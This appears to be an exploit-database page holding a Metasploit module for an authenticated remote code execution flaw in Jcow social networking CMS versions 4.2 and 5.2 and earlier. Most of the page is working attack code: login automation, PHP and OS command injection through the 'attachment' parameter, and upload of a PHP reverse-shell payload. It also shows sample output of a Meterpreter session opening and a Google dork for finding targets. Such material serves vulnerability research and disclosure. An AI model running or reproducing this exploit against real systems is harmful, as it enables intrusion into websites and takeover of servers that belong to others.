Lucene search
K

Jcow Social Networking Script 4.2 <= 5.2 - Arbitrary Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 562 Views

Jcow CMS 4.x:4.2 <= , 5.x: 5.2 <= | Arbitrary Code Executio

Code

                                                # Exploit Title: Jcow CMS 4.x:4.2 &#60;= , 5.x:5.2 &#60;= | Arbitrary Code Execution
# Google Dork: &#34;intext: Powered by Jcow&#34;
# Date: 2011-08-26
# Author: Aung Khant &#60;http://yehg.net, YGN Ethical Hacker Group&#62;
# Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
# Version: 4.x:4.2 &#60;= , 5.x: 5.2 &#60;=
# Tested on: FreeBSD
# Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution

#[*] Started reverse handler on 1.2.3.4:4444
#[*] Trying to login as hax0r
#[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
#[*] Trying to pwn a shell
#[*] Uploading the payload: /files/h3x00rr.php
#[*] Uploaded successfully
#[*] Getting the shell
#[*] Sending stage (38553 bytes) to 5.6.7.8
#[*] Meterpreter session 1 opened (1.2.3.4:4444 -&#62; 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
#

require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient


	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;JCow CMS Remote Command 
Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the JCow Social Networking CMS.
					In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
					authenticated members can trigger php code execution via
					&#34;attachment&#34; parameter.
			},
			&#39;Author&#39;         =&#62; [ &#39;Aung Khant &#60;YGN Ethical Hacker Group, http://yehg.net/&#62;&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 1 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;URL&#39;, &#39;http://www.jcow.net/&#39; ],
					[ &#39;URL&#39;, &#39;http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution&#39; ]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
					&#39;BadChars&#39;    =&#62; &#34;\#&#34;,
					&#39;Space&#39;       =&#62; 4000,
					&#39;Compat&#39;      =&#62;{&#39;ConnectionType&#39; =&#62; &#39;find&#39;},
					&#39;Keys&#39; =&#62; [&#39;php&#39;]			
				},
			&#39;Platform&#39;       =&#62; &#39;php&#39;,
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Targets&#39;        =&#62; [[ &#39;Automatic&#39;, { }]],
			&#39;DisclosureDate&#39; =&#62; &#39;Aug 26 2011&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;URI&#39;, [true, &#34;JCow directory path&#34;, &#34;/&#34;]),
				OptString.new(&#39;USERNAME&#39;, [ false, &#39;The username to authenticate as&#39;, &#39;hax0r&#39; ]),
				OptString.new(&#39;PASSWORD&#39;, [ false, &#39;The password for the specified username&#39;,&#39;pwn3d&#39; ]),
				OptString.new(&#39;COOKIE&#39;, [ false, &#39;Authenticated Cookie in face of ReCaptCha&#39; ]),
				OptString.new(&#39;PHP&#39;, [ false, &#39;Arbitrary PHP code to run&#39; ]),
				OptString.new(&#39;CMD&#39;, [ false, &#39;Arbitrary OS Command to run if PHP\&#39;s os cmd execution is not&#39; ]),
				OptString.new(&#39;SHELL&#39;, [ false, &#39;Get PHP Reverse Shell back to your Box&#39;])
			], self.class)
	end

	def check
		uri = &#39;&#39;
		uri &#60;&#60; datastore[&#39;URI&#39;]
		uri &#60;&#60; &#39;/&#39; if uri[-1,1] != &#39;/&#39;
		res = send_request_raw(
			{
				&#39;uri&#39; =&#62; uri
			}, 25)

		if (res && res.body =~ /name=&#34;Generator&#34; content=&#34;Jcow Social Networking Software. ?([0-9]\.[0-9])/)
				ver = $1
				print_status(&#34;Target Jcow version is #{ver}&#34;)

				vers = ver.split(&#39;.&#39;).map { |v| v.to_i }

				if (vers[0] == 5) and (vers[1] &#60; 3)
					return Exploit::CheckCode::Vulnerable 
				elsif (vers[0] == 4) and (vers[1] &#60; 3)
					return Exploit::CheckCode::Vulnerable 			
				elsif (vers[0] &#60; 4) 
						return Exploit::CheckCode::Vulnerable 			
				else
					return Exploit::CheckCode::Safe
				end
		end
		print_error(&#34;Unable to determine exploitability. Go 
Exploiting.&#34;)
	end
	
	def exploit
		
		uri_base    = &#39;&#39;
		uri_base &#60;&#60; datastore[&#39;URI&#39;]
		uri_base &#60;&#60; &#39;/&#39; if uri_base[-1,1] != &#39;/&#39;

	
		cookie = datastore[&#39;COOKIE&#39;]		
		if (cookie == nil)
			print_status(&#34;Trying to login as 
#{datastore[&#39;USERNAME&#39;]}&#34;)
			cookie = get_login_cookie(uri_base)
			if (not cookie)
				raise RuntimeError, &#39;Unable to login!&#39;
			end
			print_status(&#34;Logged in successfully (cookie: 
#{cookie})&#34;)
		else
			print_status(&#34;Using authenticated cookie:  
#{cookie}&#34;)
		end
		
		if (datastore[&#39;PHP&#39;])
			print_status(&#34;Executing PHP Code: 
#{datastore[&#39;PHP&#39;]}&#34;)
			run_code(uri_base,cookie,datastore[&#39;PHP&#39;])
		end
		
		if (datastore[&#39;CMD&#39;])
			print_status(&#34;Executing CMD: 
#{datastore[&#39;CMD&#39;]}&#34;)
			run_code(uri_base,cookie, datastore[&#39;CMD&#39;],&#39;os&#39;)
		end
		
		if (datastore[&#39;SHELL&#39;])
			print_status(&#34;Trying to pwn a shell&#34;)
			get_reverse_shell(uri_base,cookie)
		end

	end


	def get_login_cookie(uri_base)

		cookie = nil

		res = send_request_cgi(
			{
				&#39;method&#39;    =&#62; &#39;POST&#39;,
				&#39;uri&#39;       =&#62; uri_base +
&#39;?p=member/loginpost&#39;,
				&#39;vars_post&#39; =&#62;
					{
						&#39;username&#39; =&#62; 
datastore[&#39;USERNAME&#39;],
						&#39;password&#39; =&#62; 
datastore[&#39;PASSWORD&#39;]
					}
			})
		if (not res or res.code != 302)
			print_error(&#34;Failed to login&#34;)
			if (res.body =~ /&#60;script type=&#34;text\/javascript&#34; 
src=&#34;http:\/\/www.google.com\/recaptcha\/api\/challenge/)
				print_error(&#34;Recaptcha 
Enabled\r\nProvide Authenticated Cookie&#34;)
			end
			return nil
		end

        if (res.headers[&#39;Set-Cookie&#39;] =~ /PHPSESSID=(.*);/)			
            cookie = $1
		else
			print_error(&#34;Unable to get authenticated 
cookie&#34;)
			return
        end
        
        cookie
	end

	def run_code(uri_base, cookie, code, mode=&#39;php&#39;)

		
		cmd = nil
		
		if mode != &#39;php&#39;
			cmd = &#39;error_reporting(0);print+`&#39; &#60;&#60; 
Rex::Text.to_hex(&#34;#{code}&#34;,prefix = &#34;%&#34;) &#60;&#60; &#39;`&#39;
		else
			cmd = &#39;error_reporting(0);eval(&#39; &#60;&#60;  
code.unpack(&#34;C*&#34;).collect{|x| &#34;chr(#{x})&#34;}.join(&#39;.&#39;) &#60;&#60; &#39;)&#39;
		end
		
		
		data = 
&#34;page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//&#34;
		res = send_request_cgi(
			{
				&#39;method&#39;    =&#62; &#39;POST&#39;,
				&#39;uri&#39;       =&#62; uri_base + 
&#39;?p=streampublish&#39;,
				&#39;data&#39; 		=&#62; data , 
				
				&#39;headers&#39;   =&#62;
					{
							 
							  &#39;Cookie&#39; =&#62; 
&#34;PHPSESSID=#{cookie}&#34;
							  
					},
			})	
		if (res)
			if (res.body.to_s.length &#62; 0)		
				is_session_expired(res.body.to_s)	
				print_status(&#34;#{mode.upcase} Command 
Output from the server:&#34;)
				print(&#34;\n&#34; + res.body.to_s + &#34;\n\n&#34;)
			else
				print_error(&#34;No data returned from the 
server&#34;)
			end
		else
			print_error(&#34;Connection Timeout from the 
server&#34;)
		end
		
	end
	
	def is_session_expired(pg)
		if (pg =~ /please login first/)
			raise RuntimeError, &#34;Your Login has expired&#34;
		end
	end
	
	def get_reverse_shell(uri_base,cookie)
	
		cmd_php = &#39;&#60;?php &#39; &#60;&#60; payload.encoded &#60;&#60; &#39; ?&#62;&#39;

		shell_file =  &#39;files/&#39; + rand_text_alphanumeric(6) &#60;&#60; &#39;.php&#39;
		
		shell_url = uri_base + shell_file
		
		print_status(&#34;Uploading the payload: &#34; &#60;&#60; shell_url )
		
		encoded_shell_file = shell_file.unpack(&#34;C*&#34;).collect{|x| 
&#34;chr(#{x})&#34;}.join(&#39;.&#39;)
		
		encoded_payload = payload.encoded

		cmd = &#34;file_put_contents(#{encoded_shell_file}, 
$_SERVER[&#39;HTTP_X_CMD&#39;])&#34;

		data = 
&#34;page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//&#34;
		res = send_request_cgi(
			{
				&#39;method&#39;    =&#62; &#39;POST&#39;,
				&#39;uri&#39;       =&#62; uri_base +
&#39;?p=streampublish&#39;,
				&#39;data&#39; 		=&#62; data , 
				
				&#39;headers&#39;   =&#62;
					{
							  &#39;X-CMD&#39; =&#62; 
cmd_php,
							  
							  &#39;Cookie&#39; =&#62; 
&#34;PHPSESSID=#{cookie}&#34;
							  
					},
			})	

		if (res)
			if (res.code.to_i &#62; 200)
				print_error(&#34;Fail to upload : 
#{res.code} #{res.body[0,500].inspect}...&#34;)
				return
			elsif (res.code == 200)	
				is_session_expired(res.body.to_s)	
			end			
		end		
		
		
		print_status(&#34;Uploaded successfully&#34;)
		print_status(&#34;Getting the shell&#34;)

		res = send_request_raw(
					{
					    &#39;global&#39; =&#62; true,
						&#39;uri&#39;    =&#62; uri_base + shell_file
						
					})
							

		handler
	
	end

end



                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
562